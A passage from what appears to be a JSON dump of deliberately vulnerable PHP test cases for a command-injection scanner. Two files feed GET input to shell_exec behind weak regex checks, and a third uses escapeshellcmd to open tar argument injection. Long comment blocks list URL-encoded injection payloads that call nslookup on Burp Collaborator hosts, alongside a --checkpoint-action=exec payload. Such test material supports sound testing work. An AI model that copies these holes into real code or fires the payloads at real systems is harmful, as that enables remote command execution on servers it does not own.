f602abvyueovm2ublhp5e.burpcollaborator.net`\"arg\narg%22%60nslookup%24IFS%249a1613.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%22arg\narg;$(nslookup$IFS$9a1516.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net);arg\n%7C%60nslookup%09716.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg\n%0Anslookup%09290.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\n%26%24%28nslookup%24IFS%249a779.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg\n%0Anslookup%24IFS%249a326.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\n%0A%24%28nslookup%09662.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg\n;nslookup$IFS$9a334.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\n%3Bnslookup%09653.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg\narg%24%28nslookup%24IFS%249a1598.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29arg\n%0A%60nslookup+554.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg\narg%0Anslookup%09986.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A\narg|nslookup$IFS$9a1471.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net|arg\narg%7C%60nslookup+1292.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg\narg%22%7C%60nslookup+1298.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7C%22arg\narg%22%26%60nslookup%24IFS%249a1541.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26%22arg\n%0Anslookup%09626.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg\narg%7Cnslookup+1220.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg\narg%3B%24%28nslookup+1265.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg\n%26nslookup+491.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg\narg%22%60nslookup%091595.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%22arg\narg%22%7C%60nslookup%091442.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7C%22arg\narg%22%3B%24%28nslookup+1271.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3B%22arg\narg%7C%24%28nslookup%24IFS%249a1508.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg\narg%26%60nslookup%24IFS%249a1535.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg\n%26nslookup%09293.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\narg\"|`nslookup$IFS$9a1549.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`|\"arg\n%26%60nslookup+563.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg\narg%22%26%60nslookup+1289.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26%22arg\n%3B%60nslookup%24IFS%249a833.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg\narg%22%60nslookup+1577.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%22arg\n%7C%24%28nslookup%09680.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg\narg%0Anslookup%24IFS%249a1094.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A\narg%22%3B%24%28nslookup%091415.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3B%22arg\narg%24%28nslookup%091580.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29arg\narg%3Bnslookup+1229.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg\n%3B%24%28nslookup+545.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg\narg\"$(nslookup$IFS$9a1603.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net)\"arg\narg`nslookup$IFS$9a1606.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`arg\narg%22%24%28nslookup%091586.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%22arg\n%7Cnslookup%09296.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\n%26nslookup%09635.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg\narg%0A%60nslookup+1274.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg\n%0A%24%28nslookup%24IFS%249a770.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg\n%7Cnslookup%24IFS%249a332.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\n%3Bnslookup%24IFS%249a335.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\n%26%24%28nslookup%09671.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg\narg%7C%24%28nslookup%091400.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg\narg%26%60nslookup+1283.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg\n%7C%24%28nslookup%24IFS%249a788.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg\narg%22%0A%24%28nslookup%091388.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0A%22arg\narg%3B%60nslookup%091445.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg\narg%7Cnslookup%091364.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg\narg%26%24%28nslookup%24IFS%249a1499.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg\n%7C%60nslookup+572.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg\narg%24%28nslookup+1562.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29arg\narg%26nslookup%24IFS%249a1463.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg\narg%22%26%24%28nslookup%24IFS%249a1505.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26%22arg\narg;`nslookup$IFS$9a1552.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`;arg\n%3Bnslookup+509.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg\n%7C%24%28nslookup+536.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg\n%7Cnslookup%09644.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg\n;`nslookup$IFS$9a832.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`;arg\narg%60nslookup%24IFS%249a1607.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60arg\narg%3Bnslookup%091373.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg\narg%22%24%28nslookup%24IFS%249a1604.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%22arg\narg%22%0A%24%28nslookup%24IFS%249a1496.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0A%22arg\n%7Cnslookup+248.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\narg%3B%60nslookup+1301.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg\narg$(nslookup$IFS$9a1597.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net)arg\n|nslookup$IFS$9a331.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net\narg%0A%24%28nslookup%24IFS%249a1490.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg\narg%0A%60nslookup%24IFS%249a1526.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg\n%0Anslookup%09410.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A\n%26%60nslookup%09707.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg\narg%7C%24%28nslookup+1256.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg\narg%22%7C%24%28nslookup+1262.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7C%22arg\narg%0A%24%28nslookup+1238.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg\narg%60nslookup%091589.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60arg\narg|`nslookup$IFS$9a1543.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`|arg\n%3B%60nslookup+581.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg\n%3B%60nslookup%09725.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg\n%7Cnslookup%24IFS%249a752.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg\n|nslookup$IFS$9a751.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net|arg\n;nslookup$IFS$9a760.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net;arg\narg%22%0A%60nslookup+1280.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0A%22arg\narg%26%60nslookup%091427.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg\narg\"|$(nslookup$IFS$9a1513.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net)|\"arg\narg;nslookup$IFS$9a1480.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net;arg\narg%60nslookup+1571.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60arg\n*/\n\nif(isset($_GET['dir'])&&preg_match('/\\w+$/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=arg\">clickme</a>\n"
  },
  {
    "path": "test_cases/simple_stop_alphanum.php",
    "content": "<?php\n# filename: simple_stop_alphanum.php\n# vulnerable, needs to end with an alphanumeric character\n# sample payloads:\n/*\narg%22%7C%60nslookup+938.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%7C%22\narg%26%24%28nslookup%24IFS%249a1139.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26\narg%26nslookup+1211.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%26arg\narg%0A%24%28nslookup+1238.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0Aarg\narg%3B%60nslookup%091085.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3B\narg|$(nslookup$IFS$9a1507.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net)|arg\narg\"|`nslookup$IFS$9a1549.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net`|\"arg\narg%26nslookup%24IFS%249a1103.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%26\narg%22%60nslookup%24IFS%249a1613.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%22arg\narg%22%3B%24%28nslookup%24IFS%249a1163.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3B%22\narg%0A%24%28nslookup%091382.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0Aarg\narg%22%0A%60nslookup%091424.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0A%22arg\narg%3B%24%28nslookup+1265.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3Barg\narg\"|`nslookup$IFS$9a1189.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net`|\"\narg%26%24%28nslookup%24IFS%249a1499.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26arg\narg%7Cnslookup%091364.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%7Carg\narg%26%24%28nslookup+887.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26\narg%22%3B%60nslookup%24IFS%249a1199.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3B%22\narg\";`nslookup$IFS$9a1558.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net`;\"arg\narg%22%26%60nslookup+929.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26%22\narg%22%3B%60nslookup+947.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3B%22\narg%0Anslookup%24IFS%249a1094.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%0A\narg%22%26%60nslookup%091433.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26%22arg\narg%7Cnslookup+1220.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%7Carg\narg%22%7C%24%28nslookup%24IFS%249a1154.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%7C%22\narg%0Anslookup+1202.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%0Aarg\narg`nslookup$IFS$9a1606.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net`arg\narg%22%26%24%28nslookup%091397.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26%22arg\narg%22%0A%60nslookup+920.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0A%22\narg%24%28nslookup+1562.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29arg\narg%0A%60nslookup%091058.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0A\narg%26%60nslookup%24IFS%249a1535.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26arg\narg%22%3B%24%28nslookup+911.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3B%22\narg%3B%24%28nslookup%24IFS%249a1517.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3Barg\narg\"$(nslookup$IFS$9a1603.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net)\"arg\narg%22%0A%60nslookup%24IFS%249a1172.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0A%22\narg\";$(nslookup$IFS$9a1522.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net);\"arg\narg%22%7C%60nslookup%24IFS%249a1550.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%7C%22arg\narg%22%3B%24%28nslookup%091415.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3B%22arg\narg%3Bnslookup%24IFS%249a1121.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%3B\narg%0A%60nslookup%24IFS%249a1166.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0A\narg%26%60nslookup%091427.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26arg\narg%3B%24%28nslookup%091049.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3B\narg\";`nslookup$IFS$9a1198.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net`;\"\narg%3B%24%28nslookup%091409.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3Barg\narg%0A%24%28nslookup%24IFS%249a1130.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0A\narg%22%26%24%28nslookup+1253.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26%22arg\narg\";$(nslookup$IFS$9a1162.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net);\"\narg%22%3B%24%28nslookup%24IFS%249a1523.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3B%22arg\narg%22%7C%60nslookup%24IFS%249a1190.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%7C%22\narg%24%28nslookup%24IFS%249a1598.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29arg\narg%60nslookup%091589.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60arg\narg%26%60nslookup+1283.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26arg\narg%22%3B%24%28nslookup%091055.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3B%22\narg%22%24%28nslookup+1568.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%22arg\narg%22%26%24%28nslookup%24IFS%249a1145.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26%22\narg%22%60nslookup%091595.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%22arg\narg;nslookup$IFS$9a1480.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net;arg\narg%3B%60nslookup+1301.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3Barg\narg%0A%24%28nslookup%091022.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0A\narg%0A%24%28nslookup%24IFS%249a1490.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0Aarg\narg;$(nslookup$IFS$9a1156.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net);\narg%22%0A%24%28nslookup%24IFS%249a1136.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0A%22\narg%26nslookup%09995.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%26\narg%22%24%28nslookup%091586.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%22arg\narg%0A%60nslookup%091418.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0Aarg\narg%60nslookup%24IFS%249a1607.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60arg\narg%22%26%60nslookup%24IFS%249a1181.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26%22\narg%3B%60nslookup%091445.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3Barg\narg%0A%60nslookup+914.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0A\narg%22%0A%24%28nslookup%091028.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0A%22\narg%22%7C%24%28nslookup%091046.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%7C%22\narg%22%0A%60nslookup%24IFS%249a1532.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0A%22arg\narg%22%7C%60nslookup+1298.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%7C%22arg\narg%22%7C%60nslookup%091442.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%7C%22arg\narg%26%60nslookup+923.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26\narg%26nslookup%091355.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%26arg\narg%22%7C%24%28nslookup+902.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%7C%22\narg%3B%24%28nslookup%24IFS%249a1157.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3B\narg%60nslookup+1571.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60arg\narg%22%0A%24%28nslookup%091388.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0A%22arg\narg\"|$(nslookup$IFS$9a1513.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net)|\"arg\narg%7Cnslookup%24IFS%249a1472.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%7Carg\narg%22%3B%60nslookup%091091.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3B%22\narg;$(nslookup$IFS$9a1516.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net);arg\narg%26%24%28nslookup%091391.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26arg\narg%7C%60nslookup%091436.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%7Carg\narg%0Anslookup+842.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%0A\narg%26%24%28nslookup%091031.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26\narg%3Bnslookup%24IFS%249a1481.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%3Barg\narg%22%7C%24%28nslookup%24IFS%249a1514.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%7C%22arg\narg%3B%24%28nslookup+905.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3B\narg%7C%24%28nslookup%091400.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%7Carg\narg%7C%60nslookup%24IFS%249a1544.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%7Carg\narg%22%26%60nslookup%091073.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26%22\narg%22%26%60nslookup%24IFS%249a1541.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26%22arg\narg%22%3B%60nslookup%24IFS%249a1559.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3B%22arg\narg;`nslookup$IFS$9a1192.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net`;\narg$(nslookup$IFS$9a1597.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net)arg\narg;nslookup$IFS$9a1120.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net;\narg%24%28nslookup%091580.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29arg\narg%3Bnslookup%091013.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%3B\narg%22%26%24%28nslookup+893.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26%22\narg%0A%60nslookup%24IFS%249a1526.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0Aarg\narg%3B%60nslookup+941.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3B\narg%22%26%60nslookup+1289.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26%22arg\narg%26%60nslookup%091067.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26\narg|nslookup$IFS$9a1471.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net|arg\narg%0A%24%28nslookup+878.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0A\narg%7C%24%28nslookup+1256.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%7Carg\narg%22%60nslookup+1577.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%22arg\narg%0A%60nslookup+1274.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0Aarg\narg%26%24%28nslookup+1247.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26arg\narg%22%0A%24%28nslookup+884.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0A%22\narg%3Bnslookup%091373.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%3Barg\narg%3B%60nslookup%24IFS%249a1193.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3B\narg%22%3B%24%28nslookup+1271.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%3B%22arg\narg%26%60nslookup%24IFS%249a1175.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%26\narg%22%7C%24%28nslookup+1262.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%7C%22arg\narg%22%0A%60nslookup+1280.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0A%22arg\narg%22%3B%60nslookup+1307.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3B%22arg\narg%22%7C%60nslookup%091082.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%7C%22\narg|`nslookup$IFS$9a1543.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net`|arg\narg%22%7C%24%28nslookup%091406.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%7C%22arg\narg%22%3B%60nslookup%091451.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3B%22arg\narg%26nslookup%24IFS%249a1463.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%26arg\narg;`nslookup$IFS$9a1552.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net`;arg\narg%22%24%28nslookup%24IFS%249a1604.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%22arg\narg%7C%24%28nslookup%24IFS%249a1508.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%7Carg\narg%22%26%24%28nslookup%091037.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26%22\narg\"|$(nslookup$IFS$9a1153.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net)|\"\narg%0Anslookup%09986.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%0A\narg%0Anslookup%24IFS%249a1454.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%0Aarg\narg%3B%60nslookup%24IFS%249a1553.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%3Barg\narg\"`nslookup$IFS$9a1612.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net`\"arg\narg%22%0A%24%28nslookup+1244.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0A%22arg\narg%7C%60nslookup+1292.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%7Carg\narg%22%0A%60nslookup%091064.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%60%0A%22\narg%26nslookup+851.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%26\narg%22%26%24%28nslookup%24IFS%249a1505.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%26%22arg\narg%3Bnslookup+869.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%3B\narg%0Anslookup%091346.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%0Aarg\narg%3Bnslookup+1229.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%3Barg\narg%22%0A%24%28nslookup%24IFS%249a1496.ei0g7kvc0je4aejz6yms3qayjppudj.burpcollaborator.net%29%0A%22arg\n*/\n\nif(isset($_GET['dir'])&&preg_match('/^\\w+/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=arg\">clickme</a>\n"
  },
  {
    "path": "test_cases/tar.php",
    "content": "<?php\n# tar argument injection via --checkpoint-action=ACTIOLqN\n# evil payload:\n# /test_cases/GET/tar.php?dir=/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27touch%20/tmp/ownedd%27\n# HINT: for some reason does not work (tar is executed and does not even return an error, the same command works just fine when typed from an actual terminal\n# so tar might be silently dropping the attempt to execute the command as current process (e.g. Apache) has no terminal attached\n\nfunction cmd_exec($cmd, &$stdout, &$stderr)\n{\n    $outfile = tempnam(\".\", \"cmd\");\n    $errfile = tempnam(\".\", \"cmd\");\n    $descriptorspec = array(\n        0 => array(\"pipe\", \"r\"),\n        1 => array(\"file\", $outfile, \"w\"),\n        2 => array(\"file\", $errfile, \"w\")\n    );\n    $proc = proc_open($cmd, $descriptorspec, $pipes);\n    \n    if (!is_resource($proc)) return 255;\n\n    fclose($pipes[0]);    //Don't really want to give any input\n\n    $exit = proc_close($proc);\n    $stdout = file($outfile);\n    $stderr = file($errfile);\n\n    unlink($outfile);\n    unlink($errfile);\n    return $exit;\n}\n\n\t## user provides both names (and arguments if they want :D)\n\n\t$command = 'tar -cf ';\n\t$escaped_arg = escapeshellcmd($_GET['dir']); // while escapeshellarg should be used instead\t\n\t\n\t$all = $command.$escaped_arg;\n\techo \"Command after concatenation: $all\\n\";\n\t$output='';\n\t$error='';\n\tcmd_exec($all,$output,$error);\n\n\techo \"Output:\\n\";\n\tforeach($output as $out)\n\t{\n\t\techo \"$out<br />\";\n\t}\n\n\techo \"Error:\\n\";\n\tforeach($error as $err)\n\t{\n\t\techo \"$err<br />\";\n\t}\n\n?>\n<a href=\"?dir=curr.tar\">clickme</a>\n\n"
  }
]